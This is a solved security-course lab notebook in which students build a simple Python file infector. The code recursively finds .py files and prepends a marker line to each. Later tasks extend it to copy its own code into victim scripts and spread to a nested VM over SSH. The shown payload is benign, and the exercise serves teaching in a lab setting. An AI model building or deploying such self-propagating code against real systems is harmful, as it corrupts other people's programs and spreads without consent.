Lab 7_solved1

October 31, 2018

1 Malware in Python

In this laboratory, we will learn how to create a very basic malware using Python. Moreover, you will reflect on how this malware can be propagated in the virtual machine environment.

1.1 Basic Requirements

For this activity, you are required to install the *os* python module (using !pip install os) in case you don't already have it, and to download the following files: * *victim1.py*: This script simply prints "Hello world!". Save it in the same directory that you are using for this notebook. * *victim2.py*: This is the code that cracks a hashed password using a brute force approach (Week 5 - Lab passwords). Save it in a subdirectory from the path where this notebook is saved (you can use any name for the subdirectory).

1.2 Python Malware 101

As we have seen in the lecture, one of the main characteristics of a malware is to insert inself into a system (usually in a secert way) with the intent of compromising a program or the whole system. In this laboratory activity, we will design a simple code in Python which will replicate itself into other *.py* files.

1.2.1 Search for .py files

STEP 1: We will implement a function called *search* which will be in charge of exploring a directory and its subdirectories to find all *.py* files. To do so, first you need to extract the list of files and subdirectories that are located in the current directory. To do so, you can use the command $filelist = os.listdir(path)$, where $path$ is the current directory.

HINT: To get the current directory, you can use the command $os.path.abspath("")$.

```
In [1]: ## Use this cell to
        ## 1) import the os module,
        ## 2) find the list of files/subdirectories in the current directory and sa
        ## 3) print filelist.
        import os
        filelist = os.listdir(os.path.abspath(""))
        filelist
```

```
Out[1]: ['.ipynb_checkpoints', 'Lab 7_solved1.ipynb', 'Sub', 'victim1.py']
```

If you did the instructions correctly, you should see a list of the files and folders in your current path, including *victim1.py* and this notebook.

STEP 2: Using a for loop, iterate *filelist* to see which files have the *.py* extension.

HINT: When you iterate *filelist* you are examining strings, therefore you can take advantage of the string data structure and check if the last 3 positins of any given string are the characters *.py*. Once you have found a string that ends in *.py*, remember to **add** the path of the current directory to the name of the file separated by the "/" character or the "__" characters before appending to the list.

```
In [2]: ## Use this cell to iterate filelist and find the .py files. If one is fou
        ## In the end, print "filestoinfect".
        filestoinfect = []
        for name in filelist:
            if name[-3:] == ".py":
                filestoinfect.append(os.path.abspath("")+"\\"+name)
        filestoinfect

Out[2]: ['C:\\Users\\carlos\\Desktop\\Lab 7\\victim1.py']
```

If done have done this correctly, you should be able to append the malware and *victim1.py* but **NOT** *victim2.py*. This is due to the fact that we have only explored the current directory, but not its subdirectories!

STEP 3: Using a for loop, iterate once again *filelist* to **print** the names of the subdirectories.

HINT: You can use the command *os.path.isdir(name)* to know if a certain *name* in the filelist is a directory or not.

```
In [3]: ## Use this cell to iterate filelist and print the subdirectories.
        for name in filelist:
            if os.path.isdir(name):
                print(name)

.ipynb_checkpoints
Sub
```

If you have done this step correctly, then you will print the subdirectories of your current path, including the one where *victim2.py* is stored and a folder called *.ipynb_checkpoints*, which is autogenerated by Jupyter Notebook.

STEP 4: Now that we have all of these elements, construct the *search* function which will take a *path* as an input and will return the list of files to infect.

```
In [4]: ## Use this cell to implement the search function.
        import os
        def search(path):
            # 1. Define "filestoinfect" as an empty list.
            filestoinfect = []
            # 2. Find the list of files/subdirectories in the specified path and sa
            filelist = os.listdir(path)
            # 3. for name in filelist:
```

```
        for name in filelist:
            # 3.a. Check if name is a subdirectory. If true, call again the sea
            # HINT: To avoid reset filestoinfect when you call the function, us
            if os.path.isdir(name):
                filestoinfect.extend(search(path+"/"+name))
            # 3.b. Else, if it is a .py file, append it to "filestoinfect"
            elif name[-3:] == ".py":
                filestoinfect.append(path+"/"+name)
        return filestoinfect

    ## Use the search function in the current directory
    filestoinfect = search(os.path.abspath(""))
    print(filestoinfect)
```

```
['C:\\Users\\carlos\\Desktop\\Lab 7/Sub/victim2.py', 'C:\\Users\\carlos\\Desktop\\I
```

If the function was implemented correctly, then you will be able to print the malware and the two victim files.

1.2.2 Infect .py files

To infect the files, you have to loop the $filestoinfect$ list and get each of the files infected. The infection consists in two steps: * Loading the file to be infected and storing the instructions of the *.py* file into a *temp* variable. * Adding the malware to the temp and rewritting the loaded file.

```
In [5]: def infect(filestoinfect):
            malware = 'a="This file is infected by malware"\n'
            for name in filestoinfect:
                # 1. Open the file, load the instructions in a temp variable and cl
                f = open(name)
                temp = f.read()
                f.close()
                # 2. Open the the file in "write mode" and write the malware and cl
                f = open(name,'w')
                f.write(malware+temp)
                f.close()
            return

        infect(filestoinfect)
```

Now inspect the victim files and see if the first line of the file has the malware (i.e. the first line of the code is a="This file is infected by malware").

TASK 1: Create a Python file called $malware.py$ where you will paste the $search$ and the $infect$ functions. Apply the following changes to the functions: * $search$: Implement a mechanism that **EXCLUDES** from the $filestoinfect$ list the file that is running the malware (**HINT**: Use a marker). * $infect$: Infect the victim files using **the code contained in** $malware.py$ instead, so that when an unsuspected user runs a victim code, the malware keeps propagating. * General: Print a message (for instance, "THE MALWARE IS OUT! N FILES HAVE BEEN INFECTED!") where N is the number of files that have been infected by the malware. (**HINT** use a counter inside the $infect$ function).

NOTE: Make sure that the very last line of $malware.py$ is empty so that when the code is copied into the victims, it doesn't overlap the first instruction of the victim.

TASK 2: Propagate the malware (with or without the changes of Task 1) from a client (VM) to a server (nested VM). To do so, transfer $victim1.py$ to the nested VM (preferably using the shared folder) but **DO NOT** transfer $malware.py$ in this way.

How can you run $malware.py$ to infect $victim1.py$? One option is to transfer $malware.py$ into the server using SSH and executing it there. Another option is to execute the commands in $malware.py$ from the client and transfering them via SSH to infect the $victim1.py$ in the server.